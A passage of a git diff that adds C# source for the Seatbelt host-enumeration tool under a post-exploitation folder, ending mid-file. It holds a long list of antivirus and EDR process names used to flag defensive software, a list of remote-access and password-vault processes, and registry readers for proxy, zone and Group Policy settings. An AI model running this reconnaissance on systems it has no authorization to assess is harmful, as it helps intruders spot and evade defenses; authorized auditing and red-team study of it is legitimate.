"keypass", "UNKNOWN"}, + { "killprocesssetup161", "UNKNOWN"}, + { "launcher", "UNKNOWN"}, + { "ldnetmon", "UNKNOWN"}, + { "ldpro", "UNKNOWN"}, + { "ldpromenu", "UNKNOWN"}, + { "ldscan", "UNKNOWN"}, + { "lnetinfo", "UNKNOWN"}, + { "loader", "UNKNOWN"}, + { "localnet", "UNKNOWN"}, + { "lockdown", "UNKNOWN"}, + { "lockdown2000", "UNKNOWN"}, + { "lookout", "UNKNOWN"}, + { "lordpe", "UNKNOWN"}, + { "lsetup", "UNKNOWN"}, + { "luall", "UNKNOWN"}, + { "luau", "UNKNOWN"}, + { "lucomserver", "UNKNOWN"}, + { "luinit", "UNKNOWN"}, + { "luspt", "UNKNOWN"}, + { "mapisvc32", "UNKNOWN"}, + { "macmnsvc", "McAfee"}, + { "macompatsvc", "McAfee"}, + { "masvc", "McAfee"}, + { "mfeesp", "McAfee"}, + { "mfemactl", "McAfee"}, + { "mfetp", "McAfee"}, + { "mfecanary", "McAfee"}, + { "mfemms", "McAfee"}, + { "mbamservice", "UNKNOWN"}, + { "mcafeefire", "UNKNOWN"}, + { "mcagent", "UNKNOWN"}, + { "mcmnhdlr", "UNKNOWN"}, + { "mcscript", "UNKNOWN"}, + { "mcscript_inuse", "UNKNOWN"}, + { "mctool", "UNKNOWN"}, + { "mctray", "UNKNOWN"}, + { "mcupdate", "UNKNOWN"}, + { "mcvsrte", "UNKNOWN"}, + { "mcvsshld", "UNKNOWN"}, + { "md", "UNKNOWN"}, + { "mfeann", "McAfee VirusScan Enterprise"}, + { "mfevtps", "UNKNOWN"}, + { "mfin32", "UNKNOWN"}, + { "mfw2en", "UNKNOWN"}, + { "mfweng3.02d30", "UNKNOWN"}, + { "mgavrtcl", "UNKNOWN"}, + { "mgavrte", "UNKNOWN"}, + { "mghtml", "UNKNOWN"}, + { "mgui", "UNKNOWN"}, + { "minilog", "UNKNOWN"}, + { "minionhost", "Cyberreason"}, + { "mmod", "UNKNOWN"}, + { "monitor", "UNKNOWN"}, + { "moolive", "UNKNOWN"}, + { "mostat", "UNKNOWN"}, + { "mpfagent", "UNKNOWN"}, + { "mpfservice", "UNKNOWN"}, + { "mpftray", "UNKNOWN"}, + { "mrflux", "UNKNOWN"}, + { "msapp", "UNKNOWN"}, + { "msbb", "UNKNOWN"}, + { "msblast", "UNKNOWN"}, + { "mscache", "UNKNOWN"}, + { "msccn32", "UNKNOWN"}, + { "mscman", "UNKNOWN"}, + { "msconfig", "UNKNOWN"}, + { "msdm", "UNKNOWN"}, + { "msdos", "UNKNOWN"}, + { "msiexec16", "UNKNOWN"}, + { "msinfo32", "UNKNOWN"}, + { "mslaugh", "UNKNOWN"}, + { "msmgt", "UNKNOWN"}, + { "msmsgri32", "UNKNOWN"}, + { "mssense", "Microsoft Defender ATP"}, + { "sensecncproxy", "Microsoft Defender ATP"}, + { "mssmmc32", "UNKNOWN"}, + { "mssys", "UNKNOWN"}, + { "msvxd", "UNKNOWN"}, + { "mu0311ad", "UNKNOWN"}, + { "mwatch", "UNKNOWN"}, + { "n32scanw", "UNKNOWN"}, + { "naprdmgr", "UNKNOWN"}, + { "nav", "UNKNOWN"}, + { "navap.navapsvc", "UNKNOWN"}, + { "navapsvc", "UNKNOWN"}, + { "navapw32", "UNKNOWN"}, + { "navdx", "UNKNOWN"}, + { "navlu32", "UNKNOWN"}, + { "navnt", "UNKNOWN"}, + { "navstub", "UNKNOWN"}, + { "navw32", "UNKNOWN"}, + { "navwnt", "UNKNOWN"}, + { "nc2000", "UNKNOWN"}, + { "ncinst4", "UNKNOWN"}, + { "ndd32", "UNKNOWN"}, + { "neomonitor", "UNKNOWN"}, + { "neowatchlog", "UNKNOWN"}, + { "netarmor", "UNKNOWN"}, + { "netd32", "UNKNOWN"}, + { "netinfo", "UNKNOWN"}, + { "netmon", "UNKNOWN"}, + { "netscanpro", "UNKNOWN"}, + { "netspyhunter-1.2", "UNKNOWN"}, + { "netstat", "UNKNOWN"}, + { "netutils", "UNKNOWN"}, + { "nisserv", "UNKNOWN"}, + { "nisum", "UNKNOWN"}, + { "nmain", "UNKNOWN"}, + { "nod32", "UNKNOWN"}, + { "normist", "UNKNOWN"}, + { "norton_internet_secu_3.0_407", "UNKNOWN"}, + { "notstart", "UNKNOWN"}, + { "npf40_tw_98_nt_me_2k", "UNKNOWN"}, + { "npfmessenger", "UNKNOWN"}, + { "nprotect", "UNKNOWN"}, + { "npscheck", "UNKNOWN"}, + { "npssvc", "UNKNOWN"}, + { "nsched32", "UNKNOWN"}, + { "nssys32", "UNKNOWN"}, + { "nstask32", "UNKNOWN"}, + { "nsupdate", "UNKNOWN"}, + { "nt", "UNKNOWN"}, + { "ntrtscan", "UNKNOWN"}, + { "ntvdm", "UNKNOWN"}, + { "ntxconfig", "UNKNOWN"}, + { "nui", "UNKNOWN"}, + { "nupgrade", "UNKNOWN"}, + { "nvarch16", "UNKNOWN"}, + { "nvc95", "UNKNOWN"}, + { "nvsvc32", "UNKNOWN"}, + { "nwinst4", "UNKNOWN"}, + { "nwservice", "UNKNOWN"}, + { "nwtool16", "UNKNOWN"}, + { "nxlog", "UNKNOWN"}, + { "ollydbg", "UNKNOWN"}, + { "onsrvr", "UNKNOWN"}, + { "optimize", "UNKNOWN"}, + { "ostronet", "UNKNOWN"}, + { "osqueryd", "UNKNOWN"}, + { "otfix", "UNKNOWN"}, + { "outpost", "UNKNOWN"}, + { "outpostinstall", "UNKNOWN"}, + { "outpostproinstall", "UNKNOWN"}, + { "padmin", "UNKNOWN"}, + { "panixk", "UNKNOWN"}, + { "patch", "UNKNOWN"}, + { "pavcl", "UNKNOWN"}, + { "pavproxy", "UNKNOWN"}, + { "pavsched", "UNKNOWN"}, + { "pavw", "UNKNOWN"}, + { "pccwin98", "UNKNOWN"}, + { "pcfwallicon", "UNKNOWN"}, + { "pcip10117_0", "UNKNOWN"}, + { "pcscan", "UNKNOWN"}, + { "pdsetup", "UNKNOWN"}, + { "periscope", "UNKNOWN"}, + { "persfw", "UNKNOWN"}, + { "perswf", "UNKNOWN"}, + { "pf2", "UNKNOWN"}, + { "pfwadmin", "UNKNOWN"}, + { "pgmonitr", "UNKNOWN"}, + { "pingscan", "UNKNOWN"}, + { "platin", "UNKNOWN"}, + { "pop3trap", "UNKNOWN"}, + { "poproxy", "UNKNOWN"}, + { "popscan", "UNKNOWN"}, + { "portdetective", "UNKNOWN"}, + { "portmonitor", "UNKNOWN"}, + { "powerscan", "UNKNOWN"}, + { "ppinupdt", "UNKNOWN"}, + { "pptbc", "UNKNOWN"}, + { "ppvstop", "UNKNOWN"}, + { "prizesurfer", "UNKNOWN"}, + { "prmt", "UNKNOWN"}, + { "prmvr", "UNKNOWN"}, + { "procdump", "UNKNOWN"}, + { "processmonitor", "UNKNOWN"}, + { "procexp", "UNKNOWN"}, + { "procexp64", "UNKNOWN"}, + { "procexplorerv1.0", "UNKNOWN"}, + { "procmon", "UNKNOWN"}, + { "programauditor", "UNKNOWN"}, + { "proport", "UNKNOWN"}, + { "protectx", "UNKNOWN"}, + { "pspf", "UNKNOWN"}, + { "purge", "UNKNOWN"}, + { "qconsole", "UNKNOWN"}, + { "qserver", "UNKNOWN"}, + { "rapapp", "UNKNOWN"}, + { "rav7", "UNKNOWN"}, + { "rav7win", "UNKNOWN"}, + { "rav8win32eng", "UNKNOWN"}, + { "ray", "UNKNOWN"}, + { "rb32", "UNKNOWN"}, + { "rcsync", "UNKNOWN"}, + { "realmon", "UNKNOWN"}, + { "reged", "UNKNOWN"}, + { "regedit", "UNKNOWN"}, + { "regedt32", "UNKNOWN"}, + { "rescue", "UNKNOWN"}, + { "rescue32", "UNKNOWN"}, + { "rrguard", "UNKNOWN"}, + { "rtvscan", "UNKNOWN"}, + { "rtvscn95", "UNKNOWN"}, + { "rulaunch", "UNKNOWN"}, + { "run32dll", "UNKNOWN"}, + { "rundll", "UNKNOWN"}, + { "rundll16", "UNKNOWN"}, + { "ruxdll32", "UNKNOWN"}, + { "safeweb", "UNKNOWN"}, + { "sahagent.exescan32", "UNKNOWN"}, + { "save", "UNKNOWN"}, + { "savenow", "UNKNOWN"}, + { "sbserv", "UNKNOWN"}, + { "scam32", "UNKNOWN"}, + { "scan32", "UNKNOWN"}, + { "scan95", "UNKNOWN"}, + { "scanpm", "UNKNOWN"}, + { "scrscan", "UNKNOWN"}, + { "sentinelone", "SentinelOne Endpoint Security Software"}, + { "serv95", "UNKNOWN"}, + { "setupvameeval", "UNKNOWN"}, + { "setup_flowprotector_us", "UNKNOWN"}, + { "sfc", "UNKNOWN"}, + { "sgssfw32", "UNKNOWN"}, + { "sh", "UNKNOWN"}, + { "shellspyinstall", "UNKNOWN"}, + { "shn", "UNKNOWN"}, + { "showbehind", "UNKNOWN"}, + { "shstat", "McAfee VirusScan Enterprise"}, + { "smc", "UNKNOWN"}, + { "sms", "UNKNOWN"}, + { "smcgui", "Symantec Endpoint Detection"}, + { "smss32", "UNKNOWN"}, + { "snac64", "Symantec Endpoint Detection"}, + { "wdp", "Symantec Endpoint Detection"}, + { "sofi", "UNKNOWN"}, + { "sperm", "UNKNOWN"}, + { "splunk", "Splunk"}, + { "splunkd", "Splunk"}, + { "splunk-admon", "Splunk"}, + { "splunk-powershell", "Splunk"}, + { "splunk-winevtlog", "Splunk"}, + { "spf", "UNKNOWN"}, + { "sphinx", "UNKNOWN"}, + { "spoler", "UNKNOWN"}, + { "spoolcv", "UNKNOWN"}, + { "spoolsv32", "UNKNOWN"}, + { "spyxx", "UNKNOWN"}, + { "srexe", "UNKNOWN"}, + { "srng", "UNKNOWN"}, + { "ss3edit", "UNKNOWN"}, + { "ssgrate", "UNKNOWN"}, + { "ssg_4104", "UNKNOWN"}, + { "st2", "UNKNOWN"}, + { "start", "UNKNOWN"}, + { "stcloader", "UNKNOWN"}, + { "supftrl", "UNKNOWN"}, + { "support", "UNKNOWN"}, + { "supporter5", "UNKNOWN"}, + { "svchostc", "UNKNOWN"}, + { "svchosts", "UNKNOWN"}, + { "sweep95", "UNKNOWN"}, + { "sweepnet.sweepsrv.sys.swnetsup", "UNKNOWN"}, + { "symproxysvc", "UNKNOWN"}, + { "symtray", "UNKNOWN"}, + { "sysedit", "UNKNOWN"}, + { "sysmon", "Sysinternals Sysmon"}, + { "sysupd", "UNKNOWN"}, + { "taniumclient", "Tanium"}, + { "taskmg", "UNKNOWN"}, + { "taskmo", "UNKNOWN"}, + { "taumon", "UNKNOWN"}, + { "tbmon", "UNKNOWN"}, + { "tbscan", "UNKNOWN"}, + { "tc", "UNKNOWN"}, + { "tca", "UNKNOWN"}, + { "tcm", "UNKNOWN"}, + { "tcpview", "UNKNOWN"}, + { "tds-3", "UNKNOWN"}, + { "tds2-98", "UNKNOWN"}, + { "tds2-nt", "UNKNOWN"}, + { "teekids", "UNKNOWN"}, + { "tfak", "UNKNOWN"}, + { "tfak5", "UNKNOWN"}, + { "tgbob", "UNKNOWN"}, + { "titanin", "UNKNOWN"}, + { "titaninxp", "UNKNOWN"}, + { "tlaservice", "UNKNOWN"}, + { "tlaworker", "UNKNOWN"}, + { "tracert", "UNKNOWN"}, + { "trickler", "UNKNOWN"}, + { "trjscan", "UNKNOWN"}, + { "trjsetup", "UNKNOWN"}, + { "trojantrap3", "UNKNOWN"}, + { "tsadbot", "UNKNOWN"}, + { "tshark", "UNKNOWN"}, + { "tvmd", "UNKNOWN"}, + { "tvtmd", "UNKNOWN"}, + { "udaterui", "UNKNOWN"}, + { "undoboot", "UNKNOWN"}, + { "updat", "UNKNOWN"}, + { "update", "UNKNOWN"}, + { "updaterui", "UNKNOWN"}, + { "upgrad", "UNKNOWN"}, + { "utpost", "UNKNOWN"}, + { "vbcmserv", "UNKNOWN"}, + { "vbcons", "UNKNOWN"}, + { "vbust", "UNKNOWN"}, + { "vbwin9x", "UNKNOWN"}, + { "vbwinntw", "UNKNOWN"}, + { "vcsetup", "UNKNOWN"}, + { "vet32", "UNKNOWN"}, + { "vet95", "UNKNOWN"}, + { "vettray", "UNKNOWN"}, + { "vfsetup", "UNKNOWN"}, + { "vir-help", "UNKNOWN"}, + { "virusmdpersonalfirewall", "UNKNOWN"}, + { "vnlan300", "UNKNOWN"}, + { "vnpc3000", "UNKNOWN"}, + { "vpc32", "UNKNOWN"}, + { "vpc42", "UNKNOWN"}, + { "vpfw30s", "UNKNOWN"}, + { "vptray", "UNKNOWN"}, + { "vscan40", "UNKNOWN"}, + { "vscenu6.02d30", "UNKNOWN"}, + { "vsched", "UNKNOWN"}, + { "vsecomr", "UNKNOWN"}, + { "vshwin32", "UNKNOWN"}, + { "vsisetup", "UNKNOWN"}, + { "vsmain", "UNKNOWN"}, + { "vsmon", "UNKNOWN"}, + { "vsstat", "UNKNOWN"}, + { "vstskmgr", "McAfee VirusScan Enterprise"}, + { "vswin9xe", "UNKNOWN"}, + { "vswinntse", "UNKNOWN"}, + { "vswinperse", "UNKNOWN"}, + { "w32dsm89", "UNKNOWN"}, + { "w9x", "UNKNOWN"}, + { "watchdog", "UNKNOWN"}, + { "webdav", "UNKNOWN"}, + { "webscanx", "UNKNOWN"}, + { "webtrap", "UNKNOWN"}, + { "wfindv32", "UNKNOWN"}, + { "whoswatchingme", "UNKNOWN"}, + { "wimmun32", "UNKNOWN"}, + { "win-bugsfix", "UNKNOWN"}, + { "win32", "UNKNOWN"}, + { "win32us", "UNKNOWN"}, + { "winactive", "UNKNOWN"}, + { "window", "UNKNOWN"}, + { "windows", "UNKNOWN"}, + { "wininetd", "UNKNOWN"}, + { "wininitx", "UNKNOWN"}, + { "winlogin", "UNKNOWN"}, + { "winmain", "UNKNOWN"}, + { "winnet", "UNKNOWN"}, + { "winppr32", "UNKNOWN"}, + { "winrecon", "UNKNOWN"}, + { "winservn", "UNKNOWN"}, + { "winssk32", "UNKNOWN"}, + { "winstart", "UNKNOWN"}, + { "winstart001", "UNKNOWN"}, + { "wintsk32", "UNKNOWN"}, + { "winupdate", "UNKNOWN"}, + { "wireshark", "UNKNOWN"}, + { "wkufind", "UNKNOWN"}, + { "wnad", "UNKNOWN"}, + { "wnt", "UNKNOWN"}, + { "wradmin", "UNKNOWN"}, + { "wrctrl", "UNKNOWN"}, + { "wsbgate", "UNKNOWN"}, + { "wupdater", "UNKNOWN"}, + { "wupdt", "UNKNOWN"}, + { "wyvernworksfirewall", "UNKNOWN"}, + { "xagt", "FireEye Endpoint Security (HX)"}, + { "xpf202en", "UNKNOWN"}, + { "zapro", "UNKNOWN"}, + { "zapsetup3001", "UNKNOWN"}, + { "zatutor", "UNKNOWN"}, + { "zonalm2601", "UNKNOWN"}, + { "zonealarm", "UNKNOWN"}, + { "_avp32", "UNKNOWN"}, + { "_avpcc", "UNKNOWN"}, + { "rshell", "UNKNOWN"}, + { "_avpm", "UNKNOWN"} + }; + + // TODO: additional processes? + var interestingProcesses = new Dictionary() + { + {"cmrcservice" , "Configuration Manager Remote Control Service"}, + {"ftp" , "Misc. FTP client"}, + {"lmiguardian" , "LogMeIn Reporter"}, + {"logmeinsystray" , "LogMeIn System Tray"}, + {"ramaint" , "LogMeIn maintenance sevice"}, + {"mmc" , "Microsoft Management Console"}, + {"putty" , "Putty SSH client"}, + {"pscp" , "Putty SCP client"}, + {"psftp" , "Putty SFTP client"}, + {"puttytel" , "Putty Telnet client"}, + {"plink" , "Putty CLI client"}, + {"pageant" , "Putty SSH auth agent"}, + {"kitty" , "Kitty SSH client"}, + {"telnet" , "Misc. Telnet client"}, + {"securecrt" , "SecureCRT SSH/Telnet client"}, + {"teamviewer" , "TeamViewer"}, + {"tv_x64" , "TeamViewer x64 remote control"}, + {"tv_w32" , "TeamViewer x86 remote control"}, + {"keepass" , "KeePass password vault"}, + {"mstsc" , "Microsoft RDP client"}, + {"vnc" , "Possible VNC client"}, + {"powershell" , "PowerShell host process"}, + {"cmd" , "Command Prompt"}, + {"kaseya.agentendpoint.exe", "Command Prompt"}, + }; + + var browserProcesses = new Dictionary() + { + {"chrome" , "Google Chrome"}, + {"iexplore" , "Microsoft Internet Explorer"}, + {"microsoftedge" , "Microsoft Edge"}, + {"firefox" , "Mozilla Firefox"}, + {"brave" , "Brave Browser"}, + {"opera" , "Opera Browser"}, + }; + + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"Root\CIMV2", "SELECT * FROM Win32_Process"); + var retObjectCollection = wmiData.Get(); + + foreach (ManagementObject process in retObjectCollection) + { + var display = false; + string? category = null; + string? product = null; + var processName = ExtensionMethods.TrimEnd(process["Name"].ToString().ToLower(), ".exe"); + + if (defensiveProcesses.Keys.OfType().ToList().Contains(processName)) + { + display = true; + category = "defensive"; + product = defensiveProcesses[processName]; + } + else if (browserProcesses.Keys.OfType().ToList().Contains(processName, StringComparer.OrdinalIgnoreCase)) + { + display = true; + category = "browser"; + product = browserProcesses[processName]; + } + else if (interestingProcesses.Keys.OfType().ToList().Contains(processName, StringComparer.OrdinalIgnoreCase)) + { + display = true; + category = "interesting"; + product = interestingProcesses[processName]; + } + + if (!display) + continue; + + string? owner = null; + try + { + var ownerInfo = new string[2]; + + process.InvokeMethod("GetOwner", (object[]) ownerInfo); + + if (ownerInfo[0] != null) + { + owner = $"{ownerInfo[1]}\\{ownerInfo[0]}"; + } + } + catch (ManagementException e) + { + WriteError($"Error obtaining owner: {e}"); + } + + yield return new InterestingProcessesDTO( + category, + process["Name"].ToString(), + product, + (uint)process["ProcessID"], + owner, + process["CommandLine"]?.ToString() + ); + } + } + + internal class InterestingProcessesDTO : CommandDTOBase + { + public InterestingProcessesDTO(string? category, string name, string? product, uint processId, string? owner, string? commandLine) + { + Category = category; + Name = name; + Product = product; + ProcessID = processId; + Owner = owner; + CommandLine = commandLine; + } + public string? Category { get; } // "defensive", "browser", or "interesting + + public string Name { get; } + + public string? Product { get; } + + public uint ProcessID { get; } + + public string? Owner { get; } + + public string? CommandLine { get; } + } + + [CommandOutputType(typeof(InterestingProcessesDTO))] + internal class InterestingProcessesFormatter : TextFormatterBase + { + public InterestingProcessesFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (InterestingProcessesDTO)result; + + WriteLine(" Category : {0}", dto.Category); + WriteLine(" Name : {0}", dto.Name); + WriteLine(" Product : {0}", dto.Product); + WriteLine(" ProcessID : {0}", dto.ProcessID); + WriteLine(" Owner : {0}", dto.Owner); + WriteLine(" CommandLine : {0}\n", dto.CommandLine); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/InternetSettingsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/InternetSettingsCommand.cs new file mode 100644 index 0000000..6b7f2f7 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/InternetSettingsCommand.cs @@ -0,0 +1,198 @@ +#nullable disable +using Microsoft.Win32; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using Seatbelt.Util; +using System.Collections.Generic; +using System.Linq; + +namespace Seatbelt.Commands.Windows +{ + internal class InternetSettingsCommand : CommandBase + { + public override string Command => "InternetSettings"; + public override string Description => "Internet settings including proxy configs and zones configuration"; + public override CommandGroup[] Group => new[] { CommandGroup.System }; + public override bool SupportRemote => false; // TODO remote + + public InternetSettingsCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var result = new InternetSettingsDTO(); + + // lists user/system internet settings, including default proxy info + var keyPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"; + var proxySettings = RegistryUtil.GetValues(RegistryHive.CurrentUser, keyPath); + foreach (var kvp in proxySettings) + { + result.GeneralSettings.Add(new InternetSettingsKey( + "HKCU", + keyPath, + kvp.Key, + kvp.Value.ToString(), + null)); + } + + keyPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"; + var proxySettings2 = RegistryUtil.GetValues(RegistryHive.LocalMachine, keyPath); + foreach (var kvp in proxySettings2) + { + result.GeneralSettings.Add(new InternetSettingsKey( + "HKLM", + keyPath, + kvp.Key, + kvp.Value.ToString(), + null)); + } + + + // List user/system internet settings for zonemapkey (local, trusted, etc.) : + // 1 = Intranet zone – sites on your local network. + // 2 = Trusted Sites zone – sites that have been added to your trusted sites. + // 3 = Internet zone – sites that are on the Internet. + // 4 = Restricted Sites zone – sites that have been specifically added to your restricted sites. + + + IDictionary zoneMapKeys = new Dictionary() + { + {"0", "My Computer" }, + {"1", "Local Intranet Zone"}, + {"2", "Trusted Sites Zone"}, + {"3", "Internet Zone"}, + {"4", "Restricted Sites Zone"} + }; + + keyPath = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey"; + var zoneMapKey = RegistryUtil.GetValues(RegistryHive.LocalMachine, keyPath); + foreach (var kvp in zoneMapKey.AsEnumerable()) + { + result.ZoneMaps.Add(new InternetSettingsKey( + "HKLM", + keyPath, + kvp.Key, + kvp.Value.ToString(), + zoneMapKeys.AsEnumerable().Single(l => l.Key == kvp.Value.ToString()).Value + )); + } + + var zoneMapKey2 = RegistryUtil.GetValues(RegistryHive.CurrentUser, keyPath); + foreach (var kvp in zoneMapKey2.AsQueryable()) + { + result.ZoneMaps.Add(new InternetSettingsKey( + "HKCU", + keyPath, + kvp.Key, + kvp.Value.ToString(), + zoneMapKeys.AsEnumerable().Single(l => l.Key == kvp.Value.ToString()).Value + )); + } + + // List Zones settings with automatic logons + + /** + * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\{0..4}\1A00 + * Logon setting (1A00) may have any one of the following values (hexadecimal): + * Value Setting + * --------------------------------------------------------------- + * 0x00000000 Automatically logon with current username and password + * 0x00010000 Prompt for user name and password + * 0x00020000 Automatic logon only in the Intranet zone + * 0x00030000 Anonymous logon + **/ + + IDictionary zoneAuthSettings = new Dictionary() + { + {0x00000000, "Automatically logon with current username and password"}, + {0x00010000, "Prompt for user name and password"}, + {0x00020000, "Automatic logon only in the Intranet zone"}, + {0x00030000, "Anonymous logon"} + }; + + for (int i = 0; i <= 4; i++) + { + keyPath = @"Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\" + i; + var authSetting = RegistryUtil.GetDwordValue(RegistryHive.LocalMachine, keyPath, "1A00"); + if (authSetting != null) + { + var zone = zoneMapKeys.AsEnumerable().Single(l => l.Key == i.ToString()).Value; + var authSettingStr = zoneAuthSettings.AsEnumerable().Single(l => l.Key == authSetting).Value; + + result.ZoneAuthSettings.Add(new InternetSettingsKey( + "HKLM", + keyPath, + "1A00", + authSetting.ToString(), + $"{zone} : {authSettingStr}" + )); + } + } + + yield return result; + } + + internal class InternetSettingsKey + { + public InternetSettingsKey(string hive, string path, string valueName, string value, string? interpretation) + { + Hive = hive; + Path = path; + ValueName = valueName; + Value = value; + Interpretation = interpretation; + } + public string Hive { get; } + public string Path { get; } + public string ValueName { get; } + public string Value { get; } + public string? Interpretation { get; } + } + + internal class InternetSettingsDTO : CommandDTOBase + { + public List GeneralSettings { get; set; } = new List(); + public List ZoneMaps { get; set; } = new List(); + public List ZoneAuthSettings { get; set; } = new List(); + } + + [CommandOutputType(typeof(InternetSettingsDTO))] + internal class InternetSettingsFormatter : TextFormatterBase + { + public InternetSettingsFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (InternetSettingsDTO)result; + + WriteLine("General Settings"); + WriteLine(" {0} {1,30} : {2}\n", "Hive", "Key", "Value"); + foreach (var i in dto.GeneralSettings) + { + WriteLine(" {0} {1,30} : {2}", "HKCU", i.ValueName, i.Value); + } + + WriteLine("\nURLs by Zone"); + + if(dto.ZoneMaps.Count == 0) + WriteLine(" No URLs configured"); + + foreach (var i in dto.ZoneMaps) + { + WriteLine(" {0} {1,-30} : {2}", i.Hive, i.ValueName, i.Interpretation); + } + + WriteLine("\nZone Auth Settings"); + foreach (var i in dto.ZoneAuthSettings) + { + WriteLine($" {i.Interpretation}"); + } + + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LastShutdownCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LastShutdownCommand.cs new file mode 100644 index 0000000..d13468f --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LastShutdownCommand.cs @@ -0,0 +1,41 @@ +using System; +using System.Collections.Generic; +using Microsoft.Win32; + + +namespace Seatbelt.Commands.Windows +{ + internal class LastShutdownCommand : CommandBase + { + public override string Command => "LastShutdown"; + public override string Description => "Returns the DateTime of the last system shutdown (via the registry)."; + public override CommandGroup[] Group => new[] { CommandGroup.System, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LastShutdownCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var shutdownBytes = ThisRunTime.GetBinaryValue(RegistryHive.LocalMachine, "SYSTEM\\ControlSet001\\Control\\Windows", "ShutdownTime"); + if (shutdownBytes != null) + { + var shutdownInt = BitConverter.ToInt64(shutdownBytes, 0); + var shutdownTime = DateTime.FromFileTime(shutdownInt); + + yield return new LastShutdownDTO() + { + LastShutdown = shutdownTime + }; + } + } + } + + internal class LastShutdownDTO : CommandDTOBase + { + public DateTime LastShutdown { get; set; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalGPOCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalGPOCommand.cs new file mode 100644 index 0000000..1b8abd1 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalGPOCommand.cs @@ -0,0 +1,135 @@ +using Microsoft.Win32; +using Seatbelt.Util; +using System.Collections.Generic; + + +namespace Seatbelt.Commands.Windows +{ + enum GPOLink + { + NO_LINK_INFORMATION = 0, + LOCAL_MACHINE = 1, + SITE = 2, + DOMAIN = 3, + ORGANIZATIONAL_UNIT = 4 + } + + // ref for "flags" - https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gpol/b0e5c9e8-e858-4a7a-a94a-4a3d0a9d87a2 + enum GPOOptions + { + ALL_SECTIONS_ENABLED = 0, + USER_SECTION_DISABLED = 1, + COMPUTER_SECTION_DISABLE = 2, + ALL_SECTIONS_DISABLED = 3 + } + + internal class LocalGPOCommand : CommandBase + { + public override string Command => "LocalGPOs"; + public override string Description => "Local Group Policy settings applied to the machine/local users"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; // TODO remote + + + public LocalGPOCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // reference - https://specopssoft.com/blog/things-work-group-policy-caching/ + + // local machine GPOs + var basePath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine\0"; + var machineIDs = RegistryUtil.GetSubkeyNames(RegistryHive.LocalMachine, basePath) ?? new string[] {}; + foreach(var ID in machineIDs) + { + var settings = RegistryUtil.GetValues(RegistryHive.LocalMachine, $"{basePath}\\{ID}"); + + yield return new LocalGPODTO( + settings["GPOName"], + "machine", + settings["DisplayName"], + settings["Link"], + settings["FileSysPath"], + (GPOOptions)settings["Options"], + (GPOLink)settings["GPOLink"], + settings["Extensions"] + ); + } + + // local user GPOs + var userGpOs = new Dictionary>(); + + var sids = Registry.Users.GetSubKeyNames(); + foreach (var sid in sids) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) + { + continue; + } + + var extensions = RegistryUtil.GetSubkeyNames(RegistryHive.Users, $"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History"); + if ((extensions == null) || (extensions.Length == 0)) + { + continue; + } + + foreach (var extension in extensions) + { + var path = + $"{sid}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{extension}"; + var UserIDs = RegistryUtil.GetSubkeyNames(RegistryHive.Users, path) ?? new string[] { }; + foreach (var ID in UserIDs) + { + var settings = RegistryUtil.GetValues(RegistryHive.Users, $"{path}\\{ID}"); + + if (userGpOs.ContainsKey($"{settings["GPOName"]}")) + { + continue; + } + + userGpOs.Add($"{settings["GPOName"]}", settings); + } + } + } + + foreach (var UserGPO in userGpOs) + { + yield return new LocalGPODTO( + UserGPO.Value["GPOName"], + "user", + UserGPO.Value["DisplayName"], + UserGPO.Value["Link"], + UserGPO.Value["FileSysPath"], + (GPOOptions)UserGPO.Value["Options"], + (GPOLink)UserGPO.Value["GPOLink"], + UserGPO.Value["Extensions"] + ); + } + } + + internal class LocalGPODTO : CommandDTOBase + { + public LocalGPODTO(object gpoName, object gpoType, object displayName, object link, object fileSysPath, GPOOptions options, GPOLink gpoLink, object extensions) + { + GPOName = gpoName; + GPOType = gpoType; + DisplayName = displayName; + Link = link; + FileSysPath = fileSysPath; + Options = options; + GPOLink = gpoLink; + Extensions = extensions; + } + public object GPOName { get; } + public object GPOType { get; } + public object DisplayName { get; } + public object Link { get; set; } + public object FileSysPath { get; } + public GPOOptions Options { get; } + public GPOLink GPOLink { get; } + public object Extensions { get; } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalGroupMembershipCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalGroupMembershipCommand.cs new file mode 100644 index 0000000..deb3f03 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/LocalGroupMembershipCommand.cs @@ -0,0 +1,103 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using Seatbelt.Output.Formatters; +using 